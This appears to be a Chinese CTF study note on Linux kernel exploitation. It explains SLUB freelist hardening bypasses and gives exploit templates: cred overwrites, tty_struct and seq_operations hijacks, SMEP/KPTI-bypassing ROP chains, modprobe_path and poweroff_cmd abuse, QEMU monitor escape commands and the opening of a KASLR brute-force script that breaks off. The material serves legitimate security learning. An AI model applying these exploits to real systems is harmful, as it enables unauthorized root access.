其实通过观察我们可以知道,entry其实也就是cpu_cache+0x10而已。那么现在我们得到freelist的地址,就将其当作一个数组进行取用,比如这里的索引idx为2,那么我们下一次分配就会取freelist[2]这个obj,但是这里很奇怪,这个索引是从1开始的,如下:

image-20220316204603914

下一次分配取到chunk0xffff88800d538400而非0xffff88800d538c00,我感觉这个索引idx更像是一个计数,表示还剩2个chunk可用,从尾部开始取用

🔺注:

当然以上的情况实际操作起来太麻烦,还不如写个小插件,自己进行计算

参考自己写的小工具:PIG-007/kernelAll (github.com)

SLAB:

image-20220316204859800

SLUB:

这个带上了计算swab和random值得功能,也就是开启了harden的情况下,当然也还有FD偏移位置改变的情况,不过需要设置

image-20220316205100876

修改cred结构体

这个就不用说太多,通常是0xa8大小的结构体,清空前28字节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
char credBuf[0xa8] = {0};
addFun(fd,0xa8,credBuf);
freeFun(fd,0);

idFork = fork();
if(idFork == 0){
//get into 28*0 to set uid and gid 0
editFun(fd,0,28,credBuf);
if(getuid() == 0){
printf("[*]welcome root:\n");
system("/bin/sh");
return 0;
}
}
else if(idFork < 0){
printf("[*]fork fail\n");
}
else{
wait(NULL);
}

修改FD申请

(1)HARDENED保护

不过从4.14的内核版本开始,就存在freelist_ptr加密了,不过需要在编译内核的时候加入CONFIG_SLAB_FREELIST_HARDENED选项来启用,并且加密形式在不同版本不太一样。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
//v4.14
static inline void *freelist_ptr(const struct kmem_cache *s, void *ptr,
unsigned long ptr_addr)
{
#ifdef CONFIG_SLAB_FREELIST_HARDENED
return (void *)((unsigned long)ptr ^ s->random ^ ptr_addr);
#else
return ptr;
#endif
}


//v5.16
static inline void *freelist_ptr(const struct kmem_cache *s, void *ptr,
unsigned long ptr_addr)
{
#ifdef CONFIG_SLAB_FREELIST_HARDENED
/*
* When CONFIG_KASAN_SW/HW_TAGS is enabled, ptr_addr might be tagged.
* Normally, this doesn't cause any issues, as both set_freepointer()
* and get_freepointer() are called with a pointer with the same tag.
* However, there are some issues with CONFIG_SLUB_DEBUG code. For
* example, when __free_slub() iterates over objects in a cache, it
* passes untagged pointers to check_object(). check_object() in turns
* calls get_freepointer() with an untagged pointer, which causes the
* freepointer to be restored incorrectly.
*/
return (void *)((unsigned long)ptr ^ s->random ^
swab((unsigned long)kasan_reset_tag((void *)ptr_addr)));
#else
return ptr;
#endif
}

这里的ptr即当前释放的chunk地址,ptr_addr为指向下一个free_chunk的地址,所以中间相当于有一个random值不知道。这个值在linux/slub_def.h中被定义

1
2
3
#ifdef CONFIG_SLAB_FREELIST_HARDENED
unsigned long random;
#endif

并且在mm/slub.c中的kmem_cache_open函数中被赋值

1
2
3
4
5
6
static int kmem_cache_open(struct kmem_cache *s, slab_flags_t flags)
{
s->flags = kmem_cache_flags(s->size, flags, s->name, s->ctor);
#ifdef CONFIG_SLAB_FREELIST_HARDENED
s->random = get_random_long();
#endif

参考Slub Freelist Hardened (rtfingc.github.io)

这里需要我们获得random的值,这个值保存在对于size的kmem_cache中,该结构体定义在/linux/slub_def.h中如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
//v4.17
struct kmem_cache {
struct kmem_cache_cpu __percpu *cpu_slab;
/* Used for retriving partial slabs etc */
slab_flags_t flags;
unsigned long min_partial;
unsigned int size; /* The size of an object including meta data */
unsigned int object_size;/* The size of an object without meta data */
unsigned int offset; /* Free pointer offset. */
#ifdef CONFIG_SLUB_CPU_PARTIAL
/* Number of per cpu partial objects to keep around */
unsigned int cpu_partial;
#endif
struct kmem_cache_order_objects oo;

/* Allocation and freeing of slabs */
struct kmem_cache_order_objects max;
struct kmem_cache_order_objects min;
gfp_t allocflags; /* gfp flags to use on each alloc */
int refcount; /* Refcount for slab cache destroy */
void (*ctor)(void *);
unsigned int inuse; /* Offset to metadata */
unsigned int align; /* Alignment */
unsigned int reserved; /* Reserved bytes at the end of slabs */
unsigned int red_left_pad; /* Left redzone padding size */
const char *name; /* Name (only for display!) */
struct list_head list; /* List of slab caches */
#ifdef CONFIG_SYSFS
struct kobject kobj; /* For sysfs */
struct work_struct kobj_remove_work;
#endif
#ifdef CONFIG_MEMCG
struct memcg_cache_params memcg_params;
/* for propagation, maximum size of a stored attr */
unsigned int max_attr_size;
#ifdef CONFIG_SYSFS
struct kset *memcg_kset;
#endif
#endif

#ifdef CONFIG_SLAB_FREELIST_HARDENED
unsigned long random;
#endif

#ifdef CONFIG_NUMA
/*
* Defragmentation by allocating from a remote node.
*/
unsigned int remote_node_defrag_ratio;
#endif

#ifdef CONFIG_SLAB_FREELIST_RANDOM
unsigned int *random_seq;
#endif

#ifdef CONFIG_KASAN
struct kasan_cache kasan_info;
#endif

unsigned int useroffset; /* Usercopy region offset */
unsigned int usersize; /* Usercopy region size */

struct kmem_cache_node *node[MAX_NUMNODES];
};

并且不同size的kmem_cache对应的random不同。

在有DEBUG信息的内核中,我们尝试寻找0x10大小的kmem_cache比如我们寻找0x10大小的就需要在保存所有kmem_cache的全局变量结构kmalloc_caches中寻找,不过需要注意的是,好像很多时候不是按照顺序来排布的,如下图,我们就需要寻找kmalloc-16,但是这里它的索引为4,而不是2,不知道为什么。

image-20220116152127879

另外kmalloc_caches[0]并不是一个kmem_cache结构的,而是一个其他类型,暂时不知道用来干啥。

image-20220116152404345

那么回到正题,先寻找下random,这个就是0x10大小的kmem_cache中保存的random值了。

image-20220116152450367

那么我们得到random值就可以算出下一个chunk在哪里了

image-20220116152702584

但是通常意义上如果开启了这个保护,我们是得不到堆地址的,最多得到保护之后的fd的值,没办法算出来random的值,但是由于是异或了当前堆地址ptr和堆地址+size(ptr_addr),那么我们对size做文章,这样可以找出一些规律。

参考slub堆溢出的利用 - 安全客,安全资讯平台 (anquanke.com)

🔺注:

在该内核下的同一个size的kmem_cache的random值不管启动多少次都是固定的,无论有没有开启KASLR。(至少我在本地测的时候是如此的)

未开启KASLR

image-20220118124309671

开启KASLR

image-20220118124331545

可以看到都是一致的。

但是放到题目中就不太确定了,就是将题目在本地运行测出来的random值和题目在远程运行测出来的random值是不是也是一样的呢,之前的西湖的easy_kernel题中貌似是一样的,但是我并没有实际测试,因为还没碰到..下回换个机器测试下。或者说和qemu还是环境cpu都有关系吗,期待大佬回答。

而且在后面的新版的HARDENED中也有提到,加入swab运算之后,貌似会对random值再做一个低2个字节的处理,这个是怎么处理的呢,还是有点不太懂。

①0x8为例

0x10对齐的堆块其fd均一样,取其fd直接异或0x8即可得到kmalloc-8的random值

image-20220116170303600

原因如下,0x10对齐的堆块异或其值+0x8并不会造成进位,所以异或得到的值都是一样的

image-20220116170714710

②0x10,0x20,0x30等等

这种类型的其fd和random值一般差半个字节,大不了直接爆破,1/16的概率

image-20220116175038466

并且观察可以发现,在0x10的情况下也会有重复的部分,同样的,该重复的部分异或0x10也会是random值

image-20220116175228263

具体的还是自己摸索或者看一只狗师傅的:slub堆溢出的利用 - 安全客,安全资讯平台 (anquanke.com)

泄露random

以下泄露Random样例也是参照一只狗师傅的

1
2
3
4
5
6
7
8
9
10
11
12
13
Add(0, 0x100);
Add(1, 0x100);
Add(2, 0x100);

Show(0, &FD1, 8);
Show(1, &FD2, 8);
Show(2, &FD3, 8);

size_t random;
if(FD1==FD3)
random = FD1^0x100;
else
random = FD2^0x100;
获得堆地址任意写

但是获得堆地址不太好整,需要找到freelist的最后一个堆块last_chunk,然后其fd异或random即可得到该堆块的地址,获得堆块地址后,直接释放该堆块last_chunk,然后通过之前一个堆块pre_chunk溢出或者UAF,按照异或规则修改last_chunk的fd,就能实现任意申请了。

以8192大小为例,申请到最后一个chunk时释放,然后再申请就能申请回来了。

image-20220116181547997

注意获取堆地址的时候,由于不同size的kmem_cache的最大freelist数量差异较大,size越大的其freelist链表个数越少,越容易申请到最后一个。

image-20220116174436185

(2)HARDENED新版改动

kasan_reset_tag

从v5.0开始,加了一个新的东西

1
kasan_reset_tag((void *)ptr_addr));

这个不知道用来干啥的,有点蒙圈

1
2
3
4
5
//linux/kasan.h
static inline void *kasan_reset_tag(const void *addr)
{
return (void *)addr;
}
swab

从v5.6.4开始,又加了一个运算

1
swab(kasan_reset_tag((void *)ptr_addr)));

本质上是大小端互换,比如

1
2
3
int before = 0xaabbccdd;
int after = swab(before);
after == 0xddccbbaa;

这个直接解,参照哪个师傅的来着,忘记了…..

1
2
3
4
5
6
7
8
9
#define __u64 u_int64_t
#define swab64(x) ((__u64)((((__u64)(x) & (__u64)0x00000000000000ffULL) << 56) | \
(((__u64)(x) & (__u64)0x000000000000ff00ULL) << 40) | \
(((__u64)(x) & (__u64)0x0000000000ff0000ULL) << 24) | \
(((__u64)(x) & (__u64)0x00000000ff000000ULL) << 8) | \
(((__u64)(x) & (__u64)0x000000ff00000000ULL) >> 8) | \
(((__u64)(x) & (__u64)0x0000ff0000000000ULL) >> 24) | \
(((__u64)(x) & (__u64)0x00ff000000000000ULL) >> 40) | \
(((__u64)(x) & (__u64)0xff00000000000000ULL) >> 56)))

然后又不知道从哪个版本开始,FD的存放位置发生改变,放在了chunk_addr+(size/2)的位置上,以0x80大小的chunk为例子(反正v5.0没有,v5.7有)

image-20220117105059115

此外计算方式也有点变化,ptr_addr不再是当前chunk的地址,而是FD的地址,同时还是会与上面的运算做一个简单的合并:

1
2
FD_addr == chunk_addr + size/2
FD_value == random ^ swab(FD_addr) ^ next_chunk_addr

所以当我们本地把random值测出来之后,再依据freelist的最后一个直接改next_addr然后套入上述公式,获得FD值,将FD值写入即可完成上述任意堆块申请。(但是远程还没有试过,想来依据最近的easy_kernel中测出来的情况应该是random值也是不变的)

同样的当位于freelist的最后一个chunk时,next_chunk_addr = 0,上述公式就变成如下

1
2
FD_addr == chunk_addr + size/2
FD_value == random ^ swab(FD_addr)

进而可以测出FD_addr,得到chunk的地址。当然,前提是建立在远程的random值不会发生改变。

如果远程的random值会发生改变的话,那么直接将当前FD_value异或需要劫持的fake_chunk_addr,那么一直将freelist申请完,之后再接着申请就能得到fake_chunk_addr。这种情况我们可以借助连续的两个FD_value中间4个字节是否发生改变来进行判断,如果改变了,那么代表freelist即将结束,这时候就可以进行修改了。不过修改之后,该size的kmem_cache的freelist链表就会损坏,要么重新修复,要么就申请其他size的kmem_cache

但是还有一个问题就是,如果开了下面的RANDOM保护,那么我们测出来的random值其实就不一定准确了,因为freelist中的chunk地址不是连续的,我们用连续的地址来测势必导致测出来的random值的低2个字节不同,这时候就需要申请到freelist的最后一个chunk,取得其FD值的低2个字节和我们之前测出来的random一合并就是最终的random值了。不过这个怎么判断是freelist的最后一个chunk也有点问题…

double_free

在开启了HARDENED这种情况下,对于FD指针会添加一个检测

1
2
3
4
5
6
7
8
9
10
11
//mm/slub.c
static inline void set_freepointer(struct kmem_cache *s, void *object, void *fp)
{
unsigned long freeptr_addr = (unsigned long)object + s->offset;

#ifdef CONFIG_SLAB_FREELIST_HARDENED
BUG_ON(object == fp); /* naive detection of double free or corruption */
#endif

*(void **)freeptr_addr = freelist_ptr(s, fp, freeptr_addr);
}

检测double_free,其实就相当于是fastbin中的double_free检测,检测freelist中的第一个和即将放进入freelist中的chunk是否相等。

image-20220308235157003

所以同理可得,也可以说如下,在中间加入一个chunk的free即可绕过

1
2
3
free chunk1
free chunk2
free chunk1

但是在内核环境下,啥时候都可能碰到申请chunk,所以有时候可能再申请的时候不能成功申请到chunk1->chunk2->chunk1的顺序

这时候如果最好还是绑定到一个CPU上

1
2
3
// 绑定到一个cpu上
unsigned char cpu_mask = 0x01;
sched_setaffinity(0, 1, &cpu_mask);

(3)RANDOM保护

在v4.7及之后存在,编译内核时加入CONFIG_SLAB_FREELIST_RANDOM=y选项,会启用Fisher-Yates随机排列算法打乱freelist的顺序

这个情况下每次更新freelist的时候,会打乱freelist中空闲的chunk,造成无法简单申请到指定的chunk,不过我们可以修改FD之后,多次申请,也可以申请到修改之后的chunk。

也是参考Slub Freelist Hardened (rtfingc.github.io)

借助prctl函数寻找cred地址

🔺注:需要存在任意读

prctl函数的PR_SET_NAME功能可以设置task_struct结构体中的comm[TASK_COMM_LEN]成员。

1
2
3
char target[16];
strcpy(target,"tryToFindPIG007");
prctl(PR_SET_NAME,target);

然后内存搜索定位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//search target chr
char *buf = (char *)calloc(1,0x1000);
puts("[+] we can read and write any memory");
for(;addr<0xffffc80000000000;addr+=0x1000){
arbitrary_read(devFD,0x1000,buf,addr);
result=memmem(buf,0x1000,target,16);
if (result){
printf("result:%p\n",result);
cred= * (size_t *)(result-0x8);
real_cred= *(size_t *)(result-0x10);
if ((cred||0xff00000000000000) && (real_cred == cred))
{
target_addr=addr+result-(int)(buf);
printf("[+]found task_struct 0x%lx\n",target_addr);
printf("[+]found cred 0x%lx\n",real_cred);
break;
}
}
}

之后再借用任意写或者修改FD申请来修改cred结构中的内容即可。

借助stat设备修改函数指针

原理就是劫持seq_operations结构体的函数指针,进而控制程序流。

西湖论剑–easy_kernel

西湖论剑2021线上初赛easykernel题解 - 安全客,安全资讯平台 (anquanke.com)

有如下结构体,大小为0x20,当我们可以申请0x20大小的Chunk,然后释放,再打开/proc/self/stat设备就可以得到该结构体。

1
2
3
4
5
6
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};

如果存在UAF之类的就可以从里面读取函数偏移,获得kernel基地址,然后还可以修改里面的start函数指针,劫持使其指向我们的gadget,当我们对该设备进行读取操作时,就会调用该start指针,从而进入到我们劫持的gadget,进而可以程序控制执行流。使用如下汇编进行对该设备的操作。

1
2
3
4
5
6
"xor rax, rax;"
"mov rcx, 0x666666;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, seq_fd;"
"syscall"

劫持之后再需要getshell就需要注意另一个结构体了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
struct pt_regs {
/*
* C ABI says these regs are callee-preserved. They aren't saved on kernel entry
* unless syscall needs a complete, fully filled "struct pt_regs".
*/
unsigned long r15;
unsigned long r14;
unsigned long r13;
unsigned long r12;
unsigned long rbp;
unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
unsigned long r11;
unsigned long r10;
unsigned long r9;
unsigned long r8;
unsigned long rax;
unsigned long rcx;
unsigned long rdx;
unsigned long rsi;
unsigned long rdi;
/*
* On syscall entry, this is syscall#. On CPU exception, this is error code.
* On hw interrupt, it's IRQ number:
*/
unsigned long orig_rax;
/* Return frame for iretq */
unsigned long rip;
unsigned long cs;
unsigned long eflags;
unsigned long rsp;
unsigned long ss;
/* top of stack page */
};

当我们调用syscall的时候,会将以上寄存器压入内核栈中,然后形成如上的结构,即如下汇编所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__asm__(
"mov r15, 0xbeefdead;"
"mov r14, pop_rdi_ret;"
"mov r13, init_cred;" // add rsp, 0x40 ; ret
"mov r12, commit_creds;"
"mov rbp, swapgs_restore_regs_and_return_to_usermode;"
"mov rbx, 0x1111;"
"mov r11, 0x1111;"
"mov r10, 0x400db8;"
"mov r9, user_cs;"
"mov r8, user_rflags;"
"xor rax, rax;"
"mov rcx, user_sp;"
"mov rdx, user_ss;"
"mov rsi, rsp;"
"mov rdi, seq_fd;"
"syscall"
);

如上的汇编会在内核栈中形成如下

image-20220115110535050

所以如果借助add_rsp xx;pop_ret这类指令,就可以将我们的控制流的栈拉高到我们可控数据范围,进而劫持栈。使用commit(cred)提权(这里的提权因为无法控制rdi,所以就借助init_cred来提权)。提权之后借助swapgs_restore_regs_and_return_to_usermode函数中的pop系列来调整栈,即借用了几个栈的位置,就得少几个pop,如图借用了5个栈数据,那么我们最后就得使得该函数少pop5个,即将swapgs_restore_regs_and_return_to_usermode函数的gadget+=9即可

1
swapgs_restore_regs_and_return_to_usermode += 9;

image-20220115113005162

如上修改之后就可以当进入到该函数的swapgs的时候,将栈调整至最开始因为syscall而形成的保存pt_regs结构体中的用户态数据的地方,使得提权之后成功返回用户态

1
2
3
4
5
6
7
8
9
10
struct pt_regs {
//.....................
/* Return frame for iretq */
unsigned long rip;
unsigned long cs;
unsigned long eflags;
unsigned long rsp;
unsigned long ss;
/* top of stack page */
};

所示栈如下

image-20220115113622350

使用此种方法时一般可以先设置一些标志性数据,“AAAAAA”在栈上,然后搜寻即可,以此来寻找调栈所用的gadget。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__asm__(
"mov r15, 0xbeefdead;"
"mov r14, pop_rdi_ret;"
"mov r13, init_cred;" // add rsp, 0x40 ; ret
"mov r12, commit_creds;"
"mov rbp, swapgs_restore_regs_and_return_to_usermode;"
"mov rbx, 0x6565656565;"
"mov r11, 0x1111;"
"mov r10, 0x1111;"
"mov r9, 0x1111;"
"mov r8, 0x1111;"
"xor rax, rax;"
"mov rcx, 0x1111;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, seq_fd;"
"syscall"
);

然后在某个地址范围进行搜索,就能找到该结构体的位置,好像只能是peda比较好用

1
find "AAAAAA" 0xffffc900001d3f80 0xffffc900001d3f98

借助ptmx设备(tty_struct)

1
2
entry_SYSCALL_64`->`SyS_write`->`SYSC_write`->`vfs_write`
->`__vfs_write`->`tty_write`->`do_tty_write`->`n_tty_write`->`pty_write`

原理就是劫持tty_struct结构体中的const struct tty_operations *ops结构体指针,然后再修改fake_tty_operations结构体中的pty_write函数指针,通过对该设备进行写操作进而调用劫持的函数指针,控制执行流程。

同时在调用的时候rax为从劫持的tty_struct结构体中获取的operations *ops指针,该指针可以被我们修改劫持。之后借助一个对rax和rsp进行操作的gadget--movRspRax_decEbx_ret进而劫持栈,完成程序流和栈的劫持。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
/* function to get root id */
void getroot (void)
{
commit_creds(prepare_kernel_cred(0));
}

void shell(void) {
printf("[+] getuid() ...");
if(!getuid()) {
printf(" [root]\n[+] Enjoy your shell...\n");
system("/bin/sh");
} else {
printf("[+] not root\n[+] failed !!!\n");
}
}
unsigned long getR = (unsigned long)getroot;
unsigned long sh = (unsigned long)shell;
size_t rop[32];


void* fake_tty_operations[30];
for(int i = 0; i < 30; i++)
{
fake_tty_operations[i] = movRspRax_decEbx_ret;
}
fake_tty_operations[0] = pop_rax_rbx_r12_r13_rbp_ret;
fake_tty_operations[1] = (size_t)rop;


size_t fake_tty_struct[4] = {0};
fake_tty_struct[0] = 0x0000000100005401;//need to set magic number
fake_tty_struct[1] = 0;
fake_tty_struct[2] = 0;
fake_tty_struct[3] = (size_t)fake_tty_operations;


rop[i++] = pop_rdi_ret; // pop_rax_rbx_r12_rbp_ret
rop[i++] = 0x6f0;
rop[i++] = movCr4Rdi_pop_rbp_ret; // mov cr4, rax; pop rbp; ret;
rop[i++] = 0;
rop[i++] = (size_t)getR;
rop[i++] = swapgs_popRbp_ret; // swapgs;ret
rop[i++] = 0x0;
rop[i++] = iretq; // iretq
rop[i++] = (size_t)sh;
rop[i++] = user_cs; /* saved CS */
rop[i++] = user_rflags; /* saved EFLAGS */
rop[i++] = user_sp;
rop[i++] = user_ss;

2.栈

(1)commit_creds(prepare_kernel_cred(0));

这个算是比较常规的栈溢出,不过还需要注意SMEP/SMAP以及KPTI是否开启

①开启SMEP情况

这种情况一般直接溢出然后关闭,或者知道基地址之后可以尝试在内核完成提权然后返回用户态

ROP关闭SMEP保护,执行用户态提权代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
/* function to get root id */
void getroot (void)
{
commit_creds(prepare_kernel_cred(0));
}

void shell(void) {
printf("[+] getuid() ...");
if(!getuid()) {
printf(" [root]\n[+] Enjoy your shell...\n");
system("/bin/sh");
} else {
printf("[+] not root\n[+] failed !!!\n");
}
}
unsigned long getR = (unsigned long)getroot;
unsigned long sh = (unsigned long)shell;
size_t rop[32];

rop[i++] = pop_rdi_ret; //
rop[i++] = 0x6f0;
rop[i++] = movCr4Rdi_pop_rbp_ret; // mov cr4, rax; pop rbp; ret;
rop[i++] = 0;
rop[i++] = (size_t)getR;
rop[i++] = swapgs_popRbp_ret;
rop[i++] = 0x0;
rop[i++] = iretq; // iretq
rop[i++] = (size_t)sh;
rop[i++] = user_cs; /* saved CS */
rop[i++] = user_rflags; /* saved EFLAGS */
rop[i++] = user_sp;
rop[i++] = user_ss;
ROP在内核态提权后返回用户态起Shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
void shell(void) {
printf("[+] getuid() ...");
if(!getuid()) {
printf(" [root]\n[+] Enjoy your shell...\n");
system("/bin/sh");
} else {
printf("[+] not root\n[+] failed !!!\n");
}
}
unsigned long sh = (unsigned long)shell;
size_t rop[32];

rop[i++] = pop_rdi_ret;
rop[i++] = 0x0;
rop[i++] = prepare_kernel_cred_k;
rop[i++] = pop_rdx_rbx_rbp_ret;
rop[i++] = pop_rbp_ret;
rop[i++] = 0x0;
rop[i++] = 0xdeadbeef;
rop[i++] = movRdiRax_call_rdx;
rop[i++] = commit_creds_k;
rop[i++] = swapgs_ret;
rop[i++] = iretq; /* saved EFLAGS */
rop[i++] = (size_t)sh;
rop[i++] = user_cs; /* saved CS */
rop[i++] = user_rflags; /* saved EFLAGS */
rop[i++] = user_sp;
rop[i++] = user_ss;

②未开启SMEP情况

直接调用用户空间的提权代码,返回之后起shell即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
/* function to get root id */
void getroot (void)
{
commit_creds(prepare_kernel_cred(0));
}

void shell(void) {
printf("[+] getuid() ...");
if(!getuid()) {
printf(" [root]\n[+] Enjoy your shell...\n");
system("/bin/sh");
} else {
printf("[+] not root\n[+] failed !!!\n");
}
}
unsigned long getR = (unsigned long)getroot;
unsigned long sh = (unsigned long)shell;
size_t rop[32];

rop[i++] = (size_t)getR;
rop[i++] = swapgs_popRbp_ret;
rop[i++] = 0x0;
rop[i++] = iretq; // iretq
rop[i++] = (size_t)sh;
rop[i++] = user_cs; /* saved CS */
rop[i++] = user_rflags; /* saved EFLAGS */
rop[i++] = user_sp;
rop[i++] = user_ss;

(2)

3.mmap内存映射

还没看太懂,涉及文件系统和驱动的内存映射

可以参考LINECTF-2022-ecrypt,后面有提到借助kern_table数组来利用

4.常见提权手段

修改modprobe_path

这个设方法如果开启如下配置则不可用,表示modprobe_path为只读,不可修改

1
2
3
//v4.11及之后存在
CONFIG_STATIC_USERMODEHELPER=y
CONFIG_STATIC_USERMODEHELPER_PATH=""

常常结合UAF漏洞来任意申请

starctf2019-hackme–starctf2019-hackme | PIG-007

西湖论剑–easy_kernel–2021 西湖论剑 线上初赛 WP – Crispr –热爱技术和生活 (crisprx.top)

1
cat /proc/kallsyms| grep modprobe_path

如果没有的话,可以先看借助kallsyms__request_module函数的地址,然后查看该函数的汇编,获取modprobe_path的引用

image-20220328144717290

然后制作一个拷贝flag并且改权限的copy.sh文件,使得modprobe_path指向该文件,然后运行一个错误格式的文件,那么出错之后就会以root权限运行modprobe_path,从而以root权限运行我们的copy.sh,使得我们能够读取flag了。

1
2
3
4
5
6
7
8
9
10
strncpy(mem,"/home/pwn/copy.sh\0",18);
write_to_kernel(fd,0xc,mem,18,0);

system("echo -ne '#!/bin/sh\n/bin/cp /flag /home/pwn/flag\n/bin/chmod 777 /home/pwn/flag' > /home/pwn/copy.sh");
system("chmod +x /home/pwn/copy.sh");
system("echo -ne '\\xff\\xff\\xff\\xff' > /home/pwn/dummy");
system("chmod +x /home/pwn/dummy");

system("/home/pwn/dummy");
system("cat flag");

修改init_cred

init进程是初始进程,不被动态分配,知道kernel基地址的时候,就能得到该结构体的地址。

1
cat /proc/kallsyms |grep init_cred

这种方法一般用在没办法修改到本进程的cred结构体的时候,之后使用即可提权

1
2
//pop_rdi_ret init_cred_addr commit_creds_addr即可
commit_creds(&init_cred)

劫持prtcl_hook

pwnKernel从0开始(四) | PIG-007

1
2
3
prctl->security_task_prctl->prctl_hook->orderly_poweroff->__orderly_poweroff->run_cmd(poweroff_cmd)-> call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC)

prctl->security_task_prctl->prctl_hook->poweroff_work_fun->run_cmd(poweroff_cmd)-> call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC)

(1)劫持为orderly_poweroff函数

劫持该hook为orderly_poweroff函数,然后调用prctl函数即可操纵程序流进入orderly_poweroff函数,再劫持poweroff_cmd即可顺着orderly_poweroff函数来运行call_usermodehelper(poweroff_cmd),该函数是以root权限运行,所以能够直接提权,不过一般运行一个反弹shell的程序。当然如果有KASLR就要爆破或者泄露了。

最后需要执行prctl(0,0)

(2)劫持为poweroff_work_fun函数

与劫持orderly_poweroff函数同理,劫持为poweroff_work_fun函数也可以以root权限执行poweroff_cmd

(3)获取地址

①prctl_hook

可以通过编写一个小程序,然后给security_task_prctl函数下断点,运行到call QWORD PTR[rbx+0x18]即可看到对应的rbx+0x18上存放的地址,即可获取到prct_hook_addr,劫持修改即可

②poweroff_cmd、orderly_poweroff、poweroff_work_fun

poweroff_cmd是一个全局变量,可以直接获取地址然后修改。可以直接使用nm命令来获取,或者直接进入gdb打印即可。

image-20211021105456058

此外orderly_poweroff也是一样的获取。如果无法查到,那么可以启动qemu,先设置为root权限后

cat /proc/kallsyms | grep "orderly_poweroff"即可,或者编译一个对应版本的内核进行查询。

image-20211021105603666

poweroff_work_fun函数也是类似的获取方式

七、意想不到的方式

1.QEMU逃逸

当没有关闭monitor时,可以直接ctrl+A C进去逃逸,解压rootfs.img读flag

1
2
3
4
5
6
7
8
9
10
migrate "exec:cp rootfs.img /tmp "
migrate "exec:cd /tmp;zcat rootfs.img | cpio -idmv 1>&2"
migrate "exec:cat /tmp/flag 1>&2"
(qemu) migrate "exec:cat /tmp/flag 1>&2"
flag{test_flag}qemu-system-x86_64: failed to save SaveStateEntry with id(name):)
qemu-system-x86_64: Unable to write to command: Broken pipe
qemu-system-x86_64: Unable to write to command: Broken pipe


zcat rootfs.cpio | cpio -idmv 1>&2

2.权限及相关配置问题

有的根目录或者bin目录的所有者不是root时

(1)bin目录不为ROOT

image-20220302114830086

这样可以修改bin里面的命令,而init脚本在退出时,通常包含poweroff命令,或者umount命令,而init运行时是以root权限运行的,所以我们可以修改这些命令从而在输入exit命令调用init中在setsid剩下的命令时来直接cat flag或者获得shell

image-20220302114945940

(2)根目录不为ROOT

image-20220302115207278

那么在根目录下,虽然bin的所有者为root,但是缺可以对bin进行改名,然后我们伪造一个bin目录,里面放上我们伪造的命令,那么就可以以root权限调用这个伪造的命令了,如下为所示例子。

1
2
3
4
5
mv bin evil_bin
/evil_bin/mkdir bin
echo "#!/evil_bin/sh" > /bin/power
echo "/evil_bin/sh" >> /bin/power
exit

(3)密码未设置

如果root账号的密码没有设置的话,直接su即可登录到root,非预期的。

八、模板

1.保存状态

1
2
3
4
5
6
7
8
9
10
void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

2.用户态起Shell

1
2
3
4
5
6
7
8
9
10
11
12
13
void getRootShell(void)
{
puts("\033[32m\033[1m[+] Backing from the kernelspace.\033[0m");

if(getuid())
{
puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
exit(-1);
}

puts("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m");
system("/bin/sh");
}

3.返回用户态

(1)没有KPTI

正常的swapgs和iretq

ROP布局如下

1
2
3
4
5
6
7
swapgs_ret
iretq
&get_shell,
user_cs,
user_rflags,
user_sp,
user_ss

(2)存在KPTI

Linux Kernel KPTI保护绕过 - 安全客,安全资讯平台 (anquanke.com)

swapgs_restore_regs_and_return_to_usermode函数某处开始执行

1
2
mov    rdi,rsp   //该处开始执行
mov rsp,QWORD PTR gs:0x6004

ROP布局如下

1
2
3
4
5
6
7
8
swapgs_restore_regs_and_return_to_usermode+22,
0,
0,
&get_shell,
user_cs,
user_rflags,
user_sp,
user_ss

4.爆破KASLR

参考:【CTF.0x05】TCTF2021-FINAL 两道 kernel pwn 题解 - arttnba3’s blog

(1)POC里

1
2
3
4
5
6
7
8
offset = (argv[1]) ? atoi(argv[1]) : 0;


ROP[i++] = POP_RDI_RET + offset;
ROP[i++] = 0;
ROP[i++] = PREPARE_KERNEL_CRED + offset;
ROP[i++] = COMMIT_CREDS + offset;
ROP[i++] = SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + 22 + offset;

(2)打远程的EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
import base64
#context.log_level = "debug"

with open("./exp", "rb") as f:
exp = base64.b64encode(f.read())

p = process('./run.sh')#remote("127.0.0.1", 1234)
try_count = 1
while True:
log.info("no." + str(try_count) + " time(s)")
p.sendline()
p.recvuntil("~ $")

count = 0
for i in range(0, len(exp), 0x200):
